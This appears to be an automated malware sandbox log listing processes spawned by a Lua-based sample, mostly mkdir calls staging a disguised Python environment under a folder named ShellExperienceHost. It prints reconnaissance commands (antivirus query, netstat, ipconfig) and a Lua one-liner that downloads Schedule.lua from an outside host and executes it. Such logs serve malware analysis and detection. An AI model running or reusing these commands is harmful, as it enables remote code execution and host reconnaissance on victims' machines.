Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Random\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\doc\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\test\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib-0.3.4.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\extern\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32-300.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\PyYAML-5.3.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape-3.8.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\_securetransport\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\backports\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\ssl_match_hostname\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\data\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\cli\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\packaging\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32com\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\demos\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C %ProgramData%\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr LISTEN	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr 127.0.0.1:	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr LISTEN	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr 127.0.0.1:	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC os get caption	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC os get caption
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\lua\lua.exe C:\ProgramData\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\examples\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\cli\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\metadata\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\openssl\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ciphers\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\serialization\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\twofactor\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Random\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\doc\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\test\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\
